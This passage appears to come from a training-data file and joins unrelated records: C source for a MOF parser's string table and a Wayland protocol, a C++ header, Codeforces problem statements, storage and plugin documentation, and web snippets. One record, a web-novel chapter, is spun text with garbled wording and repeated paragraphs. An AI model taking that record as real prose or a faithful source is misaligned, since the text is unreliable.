MI_STR(STR_ID_PARAMETER_INVALID_VALUE_STRING)\n#define MI_STR_ID_PARAMETER_INVALID_VALUE_NULL                 MI_STR(STR_ID_PARAMETER_INVALID_VALUE_NULL)\n#define MI_STR_ID_PARAMETER_INVALID_VALUE_UNEXPECTED_INTEGER   MI_STR(STR_ID_PARAMETER_INVALID_VALUE_UNEXPECTED_INTEGER)\n#define MI_STR_ID_PARAMETER_INVALID_VALUE_OUT_OF_RANGE_INTEGER MI_STR(STR_ID_PARAMETER_INVALID_VALUE_OUT_OF_RANGE_INTEGER)\n#define MI_STR_ID_PARAMETER_INVALID_BUFFER                     MI_STR(STR_ID_PARAMETER_INVALID_BUFFER)\n\n#define MI_STR_ID_MI_CREATECLASS_FAILED             MI_STR(STR_ID_MI_CREATECLASS_FAILED)\n\n#define MI_STR_ID_PARAMETER_UNEXPECTED_RESULTCLASSCOUNT        MI_STR(STR_ID_PARAMETER_UNEXPECTED_RESULTCLASSCOUNT)\n#define MI_STR_ID_PARAMETER_UNEXPECTED_RESULTINSTANCECOUNT     MI_STR(STR_ID_PARAMETER_UNEXPECTED_RESULTINSTANCECOUNT)\n\n#define MI_STR_ID_INVALID_EMBEDDEDPROPERTYVALUE_WRONG_TYPE     MI_STR(STR_ID_INVALID_EMBEDDEDPROPERTYVALUE_WRONG_TYPE)\n\n#define MI_STR_ID_INITIALIZER_OUT_OF_RANGE_DATETIMEVALUE       MI_STR(STR_ID_INITIALIZER_OUT_OF_RANGE_DATETIMEVALUE)\n\nMI_CONST MI_Char * cSTRS[]=\n{\n    MI_STR_ID_UNKNOWN_PRAGMA,\n    MI_STR_ID_CLASS_ALREADY_DEFINED,\n    MI_STR_ID_UNDEFINED_SUPERCLASS,\n    MI_STR_ID_CLASS_FEATURE_ALREADY_DEFINED,\n    MI_STR_ID_DUPLICATE_QUALIFIER,\n    MI_STR_ID_UNDEFINED_QUALIFIER,\n    MI_STR_ID_MISSING_QUALIFIER_INITIALIZER,\n    MI_STR_ID_INVALID_QUALIFIER_INITIALIZER,\n    MI_STR_ID_INVALID_INITIALIZER,\n    MI_STR_ID_UNDEFINED_CLASS,\n    MI_STR_ID_IGNORED_INITIALIZER,\n    MI_STR_ID_PARAMETER_ALREADY_DEFINED,\n    MI_STR_ID_ILLEGAL_ARRAY_SUBSCRIPT,\n    MI_STR_ID_INCOMPATIBLE_FLAVORS,\n    MI_STR_ID_INITIALIZER_OUT_OF_RANGE,\n    MI_STR_ID_INTERNAL_ERROR,\n    MI_STR_ID_QUALIFIER_ALREADY_DECLARED,\n    MI_STR_ID_WRONG_TYPE_FOR_QUALIFIER,\n    MI_STR_ID_OUT_OF_MEMORY,\n    MI_STR_ID_ILLEGAL_QUALIFIER_OVERRIDE,\n    MI_STR_ID_KEY_MUTATION_ERROR,\n    MI_STR_ID_KEY_TYPE_MUTATION_ERROR,\n    MI_STR_ID_KEY_STRUCTURE_MUTATION_ERROR,\n    MI_STR_ID_UNKNOWN_QUALIFIER,\n    MI_STR_ID_ILLEGAL_SCOPE_FOR_QUALIFIER,\n    MI_STR_ID_PROPERTY_CONSTRAINT_FAILURE,\n    MI_STR_ID_PROPERTY_QUALIFIER_INCOMPATIBLE,\n    MI_STR_ID_OVERRIDE_QUALIFIER_NAME_MISMATCH,\n    MI_STR_ID_UNDEFINED_CLASS_IN_EMBEDDEDINSTANCE_QUALIFIER,\n    MI_STR_ID_UNTERMINATED_STRING_LITERAL,\n    MI_STR_ID_ILLEGAL_HEX_CHARACTER,\n    MI_STR_ID_INTEGER_OVERFLOW,\n    MI_STR_ID_ILLEGAL_BINARY_LITERAL,\n    MI_STR_ID_MOF_STACK_OVERFLOW,\n    MI_STR_ID_MOF_STACK_UNDERFLOW,\n    MI_STR_ID_FAILED_TO_READ_INCLUDE_FILE,\n    MI_STR_ID_SYNTAX_ERROR,\n    MI_STR_ID_PARSER_STACK_OVERFLOW,\n    MI_STR_ID_STREAM_QUALIFIER_ON_NON_ARRAY,\n    MI_STR_ID_STREAM_QUALIFIER_ON_NON_OUTPUT,\n    MI_STR_ID_UNDEFINED_PROPERTY,\n    MI_STR_ID_ERROR_DETAILS,\n    MI_STR_ID_ERROR_DETAILS_INCLUDED_FILE,\n    MI_STR_ID_ERROR_DETAILS_CONTENT,\n    MI_STR_ID_UNDEFINED_INSTANCE_ALIAS,\n    MI_STR_ID_CONVERT_PROPERTY_VALUE_FAILED,\n    MI_STR_ID_MI_CREATEINSTANCE_FAILED,\n    MI_STR_ID_MI_SET_PROPERTY_FAILED,\n    MI_STR_ID_MI_ADD_PROPERTY_FAILED,\n    MI_STR_ID_ALIAS_DECL_ALREADY_DEFINED,\n\n    MI_STR_ID_SYNTAX_ERROR_INVALID_ALIAS_DECL,\n    MI_STR_ID_SYNTAX_ERROR_INVALID_COMMENT,\n    MI_STR_ID_SYNTAX_ERROR_INVALID_TOKEN,\n    MI_STR_ID_SYNTAX_ERROR_INCOMPLETE_STRING_VALUE,\n    MI_STR_ID_SYNTAX_ERROR_INVALID_CHAR16_VALUE,\n    MI_STR_ID_SYNTAX_ERROR_INVALID_ESCAPED_CHAR16_VALUE,\n    MI_STR_ID_SYNTAX_ERROR_INVALID_ESCAPED_CHAR,\n    MI_STR_ID_SYNTAX_ERROR_INCOMPLETE_ESCAPED_CHAR16_VALUE,\n    MI_STR_ID_SYNTAX_ERROR_INVALID_NUMBER_VALUE,\n\n    MI_STR_ID_CREATE_PARSER_FAILED,\n\n    MI_STR_ID_PARAMETER_INVALID_OPTIONS_VALUE,\n    MI_STR_ID_PARAMETER_INVALID_VALUE_STRING,\n    MI_STR_ID_PARAMETER_INVALID_VALUE_NULL,\n    MI_STR_ID_PARAMETER_INVALID_VALUE_UNEXPECTED_INTEGER,\n    MI_STR_ID_PARAMETER_INVALID_VALUE_OUT_OF_RANGE_INTEGER,\n    MI_STR_ID_PARAMETER_INVALID_BUFFER,\n\n    MI_STR_ID_MI_CREATECLASS_FAILED,\n\n    MI_STR_ID_PARAMETER_UNEXPECTED_RESULTCLASSCOUNT,\n    MI_STR_ID_PARAMETER_UNEXPECTED_RESULTINSTANCECOUNT,\n\n    MI_STR_ID_INVALID_EMBEDDEDPROPERTYVALUE_WRONG_TYPE,\n    MI_STR_ID_INITIALIZER_OUT_OF_RANGE_DATETIMEVALUE,\n};\n\nMI_CONST size_t cSTRSLength = sizeof(cSTRS) / sizeof(cSTRS[0]);\n\n/******************************************************************************\n * Load string\n *****************************************************************************/\nMI_Char* GetString(MI_Uint32 id)\n{\n    if (id < cSTRSLength)\n    {\n        return cSTRS[id];\n    }\n    return NULL;\n}\n\n#if defined (_MSC_VER) && defined(CONFIG_ENABLE_WCHAR)\n\n#include <windows.h>\n\nextern HMODULE g_hModule;\n\nMI_Char* LookupLocalizedString(\n    MI_Uint32 id,\n    _Out_writes_z_(len) MI_Char *buffer,\n    size_t len)\n{\n    DWORD dwRet = LoadStringW(\n        g_hModule,\n        (DWORD)id,\n        buffer,\n        (int)len);\n    if (dwRet >= len || dwRet == 0)\n    {\n        return GetString(id);\n    }\n    return buffer;\n}\n#endif\n\n_Post_z_ MI_Char* mof_LookupString(\n    MI_Uint32 id,\n    _Out_writes_z_(len) MI_Char *buffer,\n    size_t len)\n{\n#if defined (_MSC_VER) && defined(CONFIG_ENABLE_WCHAR)\n    /* Assume windows platform always build with WCHAR */\n    return LookupLocalizedString(id, buffer, len);\n#else\n    MI_UNREFERENCED_PARAMETER(len);\n    buffer[0] = 0;\n    return GetString(id);\n#endif\n}", "source": "cpt_stack_code", "language": "code", "token_count": 2899, "token_count_with_eod": 2900, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Ipage.com Web Hosting\nWeb hosting service is a type of Internet hosting service that allows individuals and organizations to make their website accessible via the World Wide Web. The web hosts are companies that provide space on a server owned or leased for use by clients, as well as providing Internet connectivity, typically in a data center.\nipage.com is one of those type of Internet hosting service or Web hosting service.\nThey give The iPage Essential Plan it is On Sale Now: $1.89/month.\n- Unlimited hosting space\n- Unlimited data transfer\n- Host unlimited domains\n- Free domain registration\n- Free SiteLock security suite\n- Free point & click site builder\n- Free online store\n- Free blog\n- Free script library\n- Good Support Service\n- Outstanding reliability\n- Marketing Tools\nAnd many more.\nAlso another plan VPS Servers. High-Performance Hosting.\nIt includes some feature like Increased Control, Semi-Private Resources, Cloud-Based Flexibility, World Class Support. implements are – Easy-to-use cPanel included, Optional root access, Fully managed support included, High performance at affordable prices, Guaranteed memory, High-speed mirrored SAN storage, Room to grow and scale as demands increase, Instant provisioning of resources, Seamless migration options, 24×7 expert support via phone, chat or email, Predictable monthly costs — no “sticker shock”, Money-Back Guarantee . It costs regularly $24.99/month.\nOne last plan is Dedicated Servers. Powerful Solutions.\nIt includes some feature like Independent Control, Dedicated Resources, Cloud-Based Flexibility, Pricing & Predictability.\nThese implements are some like Ability to install applications without restrictions, Fully managed support included, Easy-to-use cPanel and optional root access, Faster operating speeds for high traffic sites, Extensive security and mirrored storage for advanced data protection, Maximum performance unaffected by other users, Room to grow and scale as demands increase, Instant provisioning of resources, Seamless migration options, Scalable resources and payment term options, Predictable monthly costs — no “sticker shock”, No overage charges for surpassing limits.\nWhy we should use ipage.com, many web hosts seem pretty much the same … All appear to have unlimited disk space, bandwidth and email, plus 24×7 support and site builders. But the reality is there are differences and they are important! That’s why we’ve created this handy comparison chart—it shows you the differences so you can choose the best web host for your needs.\nAnyone can also feature like needs to evaluate the requirements of the application to choose what kind of hosting to use. Such considerations include database server software, scripting software, and operating system. Most hosting providers provide Linux-based web hosting which offers a wide range of different software. A typical configuration for a Linux server is the LAMP platform: Linux, Apache, MySQL, and PHP/Perl/Python. The web hosting client may want to have other services, such as email for their business domain, databases or multimedia services. A customer may also choose Windows as the hosting platform. The customer still can choose from PHP, Perl, and Python but may also use ASP .Net or Classic ASP. Web hosting packages often include a Web Content Management System, so the end-user does not have to worry about the more technical aspects.\nSo it’s your turn to choose what is best for you.\nThanks for reading my post related to ipage.com webhost.\nPlease post your comments and suggestions about this post that how much you like it\nCategories: Web Hosting", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 725, "token_count_with_eod": 726, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I’m delighted to say that you can now edit multiple images sequentially via photos.google.com.\nJust open up an image, click the pencil icon, make your edits, and then use left/right arrow keys to move among images. (Previously you had to keep hitting Save, exiting the editor, navigating, and re-entering the editor.) This is a much, much faster way to move among images, apply Auto Enhance, and make other tweaks. You can also now choose among new aspect ratios when cropping.\nMore refinements are on the way, so check it out and let us know what you think!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 124, "token_count_with_eod": 125, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Integrate files from Oracle Database to Oracle UCM Cloud\nIn this tutorial, we're about to unveil an ingenious solution for efficiently transferring various files from your database to the UCM (Universal Cloud Management) platform. We'll be zipping those files to ensure a smooth and secure transfer. We explore the step-by-step process of selecting, compressing, and seamlessly transferring data to the cloud. By the end of this tutorial, you'll have a solid grasp of this smart technique that can enhance your data management and cloud storage practices.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 107, "token_count_with_eod": 108, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "One piece in high quality Black Lycra, leopard lining, Eye printed, leopard straps.\nOur favorit flattering style!\nRemovable padding with elastic strpa inside for shape and support!\nPut it on and just fall in love with yourself...\nThe style is not high cut, the model is very tall..", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 64, "token_count_with_eod": 65, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You have probably registered on Internet sites many times. And each time you should enter your invented password. Usually the registration form automatically checks the password's crypt resistance. If the user's password isn't complex enough, a message is displayed. Today your task is to implement such an automatic check.\n\nWeb-developers of the company Q assume that a password is complex enough, if it meets all of the following conditions:\n\n- the password length is at least 5 characters;\n- the password contains at least one large English letter;\n- the password contains at least one small English letter;\n- the password contains at least one digit.\n\nYou are given a password. Please implement the automatic check of its complexity for company Q.", "source": "cpt_codeforces", "language": "en", "token_count": 148, "token_count_with_eod": 149, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "#pragma once\n\n\n/********************************************************************/\n// INCLUDES\n/********************************************************************/\n#define NOMINMAX\n#define WIN32_LEAN_AND_MEAN\n#include <windows.h>\n\n#ifndef UNICODE\n#define UNICODE\n#endif\n\n#include <stdlib.h>\n#include <malloc.h>\n#include <memory.h>\n#include <stdint.h>\n#include <assert.h>\n\n#include <algorithm>\n#include <string>\n#include <list>\n#include <vector>\n#include <queue>\n#include <map>\n\n//#include \"..\\3rdParty\\tinyxml2\\tinyxml2.h\"\n\n\n\n/********************************************************************/\n// DEFINES\n/********************************************************************/\n#define RIALIGN( x, a ) ( ( ( x ) + ((a)-1) ) & ~((a)-1) )\n\n#define SAFE_DELETE(a)\t\t\tif( (a) != NULL ) delete (a); (a) = NULL;\n#define SAFE_DELETE_ARRAY(a)\tif( (a) != NULL ) delete[] (a); (a) = NULL;\n#define SAFE_RELEASE(a)\t\t\tif( (a) != NULL ) (a)->Release(); (a) = NULL;\n\n// Exporting defines\n#ifdef RI_EXPORTS\n#define RI_EXPORT __declspec(dllexport) \n#else\n#define RI_EXPORT __declspec(dllimport) \n#endif\n\n\n\n\n/********************************************************************/\n// MEMORYLEAK LOGGER\n/********************************************************************/\n#ifdef _DEBUG\n#pragma comment(lib, \"vld.lib\")\n#include <vld.h>\n#endif\n\n#include <crtdbg.h>\n#ifdef _DEBUG\n#\tdefine rnew new(_NORMAL_BLOCK,__FILE__, __LINE__)\n#else\n#\tdefine rnew new\n#endif\n// =================== //\n\n\n\n\n/********************************************************************/\n// TYPE DEFINITIONS\n/********************************************************************/\ntypedef uint8_t  U8;\ntypedef int8_t   I8;\ntypedef uint16_t U16;\ntypedef int16_t  I16;\ntypedef uint32_t U32;\ntypedef int32_t  I32;\ntypedef uint64_t U64;\ntypedef int64_t  I64;\n\n\n////////////////////////////////////////////////////////////\n/// \\brief Classes that privately derive from this one can't be copied\n///\n////////////////////////////////////////////////////////////\nclass RI_EXPORT UnCopyable {\nprotected:\n\tUnCopyable() {}\n\nprivate:\n\tUnCopyable(const UnCopyable &rhs);\n\tUnCopyable& operator=(const UnCopyable &rhs);\n};\n\n\n\n\n/********************************************************************/\n// POST GLOBAL INCLUDES\n/********************************************************************/\n#include \"RIMath.h\"\n/*\n#include \"RIColor.h\"\n#include \"RIMath.h\"\n#include \"RIVec.h\"\n#include \"RIMatrix.h\"\n*/", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Jordan x Travis Scott 'Cactus Jack' Suede Shorts Olive (2019)\nRunning Bare Stop Traffic Crop\nRunning Bare Stop Traffic Action Back Crop\nCaroline Wozniacki Underwear Microfibre Bra\nSupreme Big Letter Water Short Orange (SS20)\n© 2020 www.coigachrun.com All Rights Reserved.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The best way to find all versions of a particular file preserved in Snapshot copies is to use the ls command from an NFS client.\nClient must be connected to NFS to access the Snapshot copies.\nls -l myfile.txt .snapshot/*/myfile.txt -rw-r--r-- 1 smith 0 Jan 14 09:40 myfile.txt -rw-r--r-- 1 smith 0 Jan 13 18:39 .snapshot/nightly.0/myfile.txt -rw-r--r-- 1 smith 0 Jan 12 19:17 .snapshot/nightly.1/myfile.txtThe version of myfile.txt in the active file system was last modified on January 14, but the old versions available in the Snapshot copies were modified on January 13 and January 12. You can use standard UNIX commands to read the earlier versions of myfile.txt. However, you cannot modify or delete these older versions because everything in the .snapshot directory is read-only.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Allen is hosting a formal dinner party. $$$2n$$$ people come to the event in $$$n$$$ pairs (couples). After a night of fun, Allen wants to line everyone up for a final picture. The $$$2n$$$ people line up, but Allen doesn't like the ordering. Allen prefers if each pair occupies adjacent positions in the line, as this makes the picture more aesthetic.\n\nHelp Allen find the minimum number of swaps of adjacent positions he must perform to make it so that each couple occupies adjacent positions in the line.", "source": "cpt_codeforces", "language": "en", "token_count": 109, "token_count_with_eod": 110, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "ASI Gamepad is a MicroManager plugin that adds support for an XBox Gamepad. It lets users assign device properties to thumb sticks and Beanshell scripts to button presses.\nThe controller/gamepad isn't added thru the hardware config wizard , instead the plugin when launched looks for it. Then it displays the message “GamePad:NOT Found”,“..FOUND”,“..Connecting” and “..Error Connecting” accordingly.\nA good guide on pairing your xbox Gamepad to PC is here\nIf you already have the gamepad paired, press the HOME button. The button lights up, blinks a few times and once its connected to the PC it glows solid. Moments later the plugin will update the status to “GamePad:Found”\nThe button and joystick assignments aren't automatically saved by the plugin between session , so use these buttons to save and load all thumb stick and button assignments.\nAxes are analog controls on the gamepad.\nUsing the axis assignment table user can pick a device and device property that is adjusted when the axis is moved.\nA common use of these controls is to move a stage. For this assign the axis to a stage's vector move property. In the case of an ASI's XYstage the property “VectorMoveX-VE(mm/s)” and “VectorMoveY-VE(mm/s)” are appropriate. They accept input in mm/sec and typical max value for the property is 4-5mm/sec. So here the multiplier column comes handy, when a multiplier of 3 is picked. Then the thumbstick deflection which varies from +1 to -1 , turns into +3 to -3 , and when applied to the device property , the stage will move +3 mm/sec to -3 mm/sec.\nUnlike the axes controls, buttons have only two states, pressed or unpressed. The Action column of the Button assignment table lets user pick from a list of predefined actions (like Snap, Live view toggle etc) or “Run_Beanshell_script” to specify a beanshell script to be run on the button press. The path to the script is specified with the 3rd column. Clicking on it displays a File Chooser dialog box and user can navigate and pick the script to run.\nA common way to setup the DPAD would be to move a stage on presses. For this make 4 different beanshell scripts with the following codes\ngui.setRelativeXYStagePosition(X# in um,Y# in um); each with a different move and assign them to the DPAD buttons like this:\nFor example scripts click here", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 529, "token_count_with_eod": 530, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Intel has launched an 'Education Help Guide' – an interactive, step-by-step tutorial for students to assist students to make best use of technology. The guide aims to enable students to make better use of technology, an essential skill as they progress on their journey towards being the next generation of innovators.\nThe guide is a tutorial for Microsoft Office software that is user-friendly and uses non-technical language. The resource includes instruction for everything from making a bar chart from spreadsheet data; to setting up a three-column template for a document; to adding photos and videos to a presentation.\nClick here to access the Help Guide in your local language", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 128, "token_count_with_eod": 129, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "There are $$$n$$$ points on a plane. The $$$i$$$-th point has coordinates $$$(x_i, y_i)$$$. You have two horizontal platforms, both of length $$$k$$$. Each platform can be placed anywhere on a plane but it should be placed horizontally (on the same $$$y$$$-coordinate) and have integer borders. If the left border of the platform is $$$(x, y)$$$ then the right border is $$$(x + k, y)$$$ and all points between borders (including borders) belong to the platform.\n\nNote that platforms can share common points (overlap) and it is not necessary to place both platforms on the same $$$y$$$-coordinate.\n\nWhen you place both platforms on a plane, all points start falling down decreasing their $$$y$$$-coordinate. If a point collides with some platform at some moment, the point stops and is saved. Points which never collide with any platform are lost.\n\nYour task is to find the maximum number of points you can save if you place both platforms optimally.\n\nYou have to answer $$$t$$$ independent test cases.\n\nFor better understanding, please read the Note section below to see a picture for the first test case.", "source": "cpt_codeforces", "language": "en", "token_count": 251, "token_count_with_eod": 252, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Gradelyfiction Missrealitybites – Chapter 625 – Clearing Up Misunderstandings, One By One reach quizzical -p1\nland of silence and darkness\nNovel–The Cursed Prince–The Cursed Prince\nChapter 625 – Clearing Up Misunderstandings, One By One cherries noisy\nEven so, Emmelyn’s scenario appeared to be quite distinctive. She could gain back some energy to sit down by herself and hug Harlow. Aside from simply being soft and skinny, her wellness didn’t frequently weaken too much.\nThis didn’t make sense.\n“Oh, surely,” Mars responded. He quickly moved out and asked the servant who was status by outside to help make herbal tea inside of a cooking pot for his partner. He emerged right after and sent back to his put, by her aspect. He touched her arm all over again. “How are you feeling? Can I give your arm a massage therapy so it will feel good?”\nMars figured Kira experienced not experienced a chance to notify Emmelyn regarding the secondly bounty since Emmelyn had been sick and tired since she sent back from Myreen.\nThe instant she could see her child’s wonderful face, along with her fantastic eye looking at her in awe and naive manifestation, Emmelyn believed that everything was fine. Practically nothing in this world could compare to Harlow.\nThe Cursed Prince\nMars has become puzzled. “I never swap you. You are the only 1 in my situation. So what can you signify? “\nwings in the night – embrace the twilight zone\nNonetheless, Emmelyn’s event seemed to be quite distinctive. She could take back some sturdiness to sit by herself and hug Harlow. Except for getting paler and slender, her wellness didn’t appear to degrade an excessive amount of.\n“You might learn about two bounties in Terra for you,” Mars eventually revealed what he suggested earlier. “The first one was for 1000 rare metal coins, to get you departed or still living to your queen of Draec.”\nHarlow wanted serious amounts of get accustomed to this new woman’s fragrance and heat, but soon, she relaxed her head on her mother’s chest area. Emmelyn quickly felt familiar to your little one who acquired never satisfied her mother immediately after she came to be.\nHe needed out Emmelyn’s wedding band from his bank and demonstrated it to her. “This was located on that physique finally certain me that you simply ended up really dead.”\nEmmelyn felt her mind harm. Everything that she had just read now, converted her life upside down. What she thought in before nowadays had not been the simple truth.\nWhy would Mars are available up to Summeria to look for Emmely, when he already located her alternative?\nEmmelyn observed her brain harmed. Anything that she experienced just been told now, converted her living upside down. What she presumed in before right now had not been the simple truth.\nEven so, Emmelyn’s case appeared to be quite one of a kind. She could restore some energy to sit down by herself and hug Harlow. Other than being light and very thin, her health and wellbeing didn’t manage to weaken far too much.\nThe Cursed Prince\n“You might find out about two bounties in Terra for you personally,” Mars lastly discussed what he designed previous. “The first one was for 1000 golden coins, to create you old or alive on the queen of Draec.”\nThis book is usually a reverse harem scenario, interpretation the woman are certain to get numerous companions. She will find yourself with two husbands.\nThe instant she could see her child’s gorgeous deal with, along with her fantastic eyeballs taking a look at her in amazement and harmless expression, Emmelyn sensed that every thing was okay. Almost nothing in this world could compare with Harlow.\nHarlow needed some time to become accustomed to this new woman’s aroma and heat, but soon, she relaxed her directly her mother’s chest area. Emmelyn quickly felt acquainted into the infant who possessed never achieved her mom soon after she came into this world.\nThe Cursed Prince\n“I… I didn’t understand that…” Emmelyn muttered.\nEven so, Emmelyn’s case seemed to be quite unique. She could restore some durability to sit down by herself and hug Harlow. Other than remaining light and skinny, her health didn’t often degrade a lot of.\n“Oh yeah, unquestionably,” Mars responded. He quickly decided to go out and requested the servant who had been standing by outside to help make tea in a very cooking pot for his wife. He originated immediately after and went back to his place, by her side. He handled her arm just as before. “How do you feel? May I give your left arm a restorative massage thus it will feel good?”\nThe simple truth is, I have numerous terrific training books which can be approved especially by ReadNovelFull and just made $20-$100 each month, with my Ip address legal rights used by them, which in retrospect creates me actually feel deeply feel sorry about considering that the income was actually modest for dropping the cerebral home proper rights to my making.\nPATREON AND NEW BOOK\nI’ve always aspired to write a proper opposite harem publication, like the comic “Splendor As Well As The Beasts” where the feminine lead has 4 husbands.\nIf my following publications will make good quality income Just Outside Of ReadNovelFull, I am going to not warning them exclusively to ReadNovelFull and rely on readers’ assistance entirely on Patreon.\nEmmelyn looked at the ring and was immediately reminded that Lyla, the brothel owner, stated she is needed her artificial her passing away. Reportedly, Lysander’s mom did a great job.\n“You could possibly read about two bounties in Terra on your behalf,” Mars at last described what he meant earlier on. “The first one was for 1000 golden coins, to give you old or in existence for the king of Draec.”\nAhhh.. carefully Mars and Emmelyn will remove the air flow and they will turn out to be lovey-dovey again.\nEmmelyn kissed Harlow’s fragrant your hair, her chubby cheeks, her forehead, her chubby palms.. She eventually get rid of Harlow to ensure that she could see her better.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Modern meteorology requires management and analysis of enormous amounts of data, and offers great and exciting professional challenges. Since the institute was established in 1866, the Norwegian meteorologists have played a key role in this development. Norwegian Meteorological Institute is today a leading international environment of expertise in operational meteorology and climatology.\nResearcher position at MET Norway\nAbout this job\nEmployerNorwegian Meteorological Institute\n- Vacant positions - Norwegian Meteorological Institute\n- Vacant positions - Research / Development\n- Vacant positions - Oslo", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 111, "token_count_with_eod": 112, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/*\n * Copyright © 2008-2013 Kristian Høgsberg\n * Copyright © 2013      Rafael Antognolli\n * Copyright © 2013      Jasper St. Pierre\n * Copyright © 2010-2013 Intel Corporation\n *\n * Permission to use, copy, modify, distribute, and sell this\n * software and its documentation for any purpose is hereby granted\n * without fee, provided that the above copyright notice appear in\n * all copies and that both that copyright notice and this permission\n * notice appear in supporting documentation, and that the name of\n * the copyright holders not be used in advertising or publicity\n * pertaining to distribution of the software without specific,\n * written prior permission.  The copyright holders make no\n * representations about the suitability of this software for any\n * purpose.  It is provided \"as is\" without express or implied\n * warranty.\n *\n * THE COPYRIGHT HOLDERS DISCLAIM ALL WARRANTIES WITH REGARD TO THIS\n * SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND\n * FITNESS, IN NO EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY\n * SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN\n * AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,\n * ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF\n * THIS SOFTWARE.\n */\n\n#include <stdlib.h>\n#include <stdint.h>\n#include \"wayland-util.h\"\n\nextern const struct wl_interface wl_output_interface;\nextern const struct wl_interface wl_seat_interface;\nextern const struct wl_interface wl_surface_interface;\nextern const struct wl_interface xdg_popup_interface;\nextern const struct wl_interface xdg_surface_interface;\n\nstatic const struct wl_interface *types[] = {\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL,\n\t&xdg_surface_interface,\n\t&wl_surface_interface,\n\t&xdg_popup_interface,\n\t&wl_surface_interface,\n\t&wl_surface_interface,\n\t&wl_seat_interface,\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL,\n\t&wl_surface_interface,\n\t&wl_seat_interface,\n\tNULL,\n\t&wl_seat_interface,\n\tNULL,\n\tNULL,\n\t&wl_output_interface,\n};\n\nstatic const struct wl_message xdg_shell_requests[] = {\n\t{ \"use_unstable_version\", \"i\", types + 0 },\n\t{ \"get_xdg_surface\", \"no\", types + 4 },\n\t{ \"get_xdg_popup\", \"nooouiiu\", types + 6 },\n\t{ \"pong\", \"u\", types + 0 },\n};\n\nstatic const struct wl_message xdg_shell_events[] = {\n\t{ \"ping\", \"u\", types + 0 },\n};\n\nWL_EXPORT const struct wl_interface xdg_shell_interface = {\n\t\"xdg_shell\", 1,\n\t4, xdg_shell_requests,\n\t1, xdg_shell_events,\n};\n\nstatic const struct wl_message xdg_surface_requests[] = {\n\t{ \"destroy\", \"\", types + 0 },\n\t{ \"set_transient_for\", \"?o\", types + 14 },\n\t{ \"set_margin\", \"iiii\", types + 0 },\n\t{ \"set_title\", \"s\", types + 0 },\n\t{ \"set_app_id\", \"s\", types + 0 },\n\t{ \"move\", \"ou\", types + 15 },\n\t{ \"resize\", \"ouu\", types + 17 },\n\t{ \"set_output\", \"?o\", types + 20 },\n\t{ \"request_change_state\", \"uuu\", types + 0 },\n\t{ \"ack_change_state\", \"uuu\", types + 0 },\n\t{ \"set_minimized\", \"\", types + 0 },\n};\n\nstatic const struct wl_message xdg_surface_events[] = {\n\t{ \"configure\", \"ii\", types + 0 },\n\t{ \"change_state\", \"uuu\", types + 0 },\n\t{ \"activated\", \"\", types + 0 },\n\t{ \"deactivated\", \"\", types + 0 },\n\t{ \"close\", \"\", types + 0 },\n};\n\nWL_EXPORT const struct wl_interface xdg_surface_interface = {\n\t\"xdg_surface\", 1,\n\t11, xdg_surface_requests,\n\t5, xdg_surface_events,\n};\n\nstatic const struct wl_message xdg_popup_requests[] = {\n\t{ \"destroy\", \"\", types + 0 },\n};\n\nstatic const struct wl_message xdg_popup_events[] = {\n\t{ \"popup_done\", \"u\", types + 0 },\n};\n\nWL_EXPORT const struct wl_interface xdg_popup_interface = {\n\t\"xdg_popup\", 1,\n\t1, xdg_popup_requests,\n\t1, xdg_popup_events,\n};", "source": "cpt_stack_code", "language": "code", "token_count": 1059, "token_count_with_eod": 1060, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "The mean is when you add all the numbers together and divide by how many numbers there are, and yes zero does count. The median is when you put all the numbers together and whichever one is in the exact middle is the median. Sometimes there is an even amount of numbers. If there is you find the middle of those two numbers.\nThe median is the number in the middle. Arrange all the scores from smallest to biggest and the middle on is the median if there is an odd number of scores. If there is an even number of scores, find the mean of the two middle numbers and that is the median.\nThe mode is the only one of these measure which can be used with qualitative data: the mean or median are impossible to compute. Also, for a data set consisting of a relatively small number of observations of a discrete variable the mode or modal class is the easiest to find.\nTo obtain a much better, simpler, and more practical understanding of the data distribution.\nThe mean deviation from the median is equal to the mean minus the median.\ncompute means calulate\n23, 24, 26, 29, 30, 32, 33, 34, 35, 46, 37, 39, 40, 42, 45\nwho discovered mean median and mode\nMean, Median and Mode. They are three kinds of averages.\nThe median of 65 and 90 is the same as their mean: 77.5The median of 65 and 90 is the same as their mean: 77.5The median of 65 and 90 is the same as their mean: 77.5The median of 65 and 90 is the same as their mean: 77.5\nMean is the average, and median is the middle number.\nThe mean is 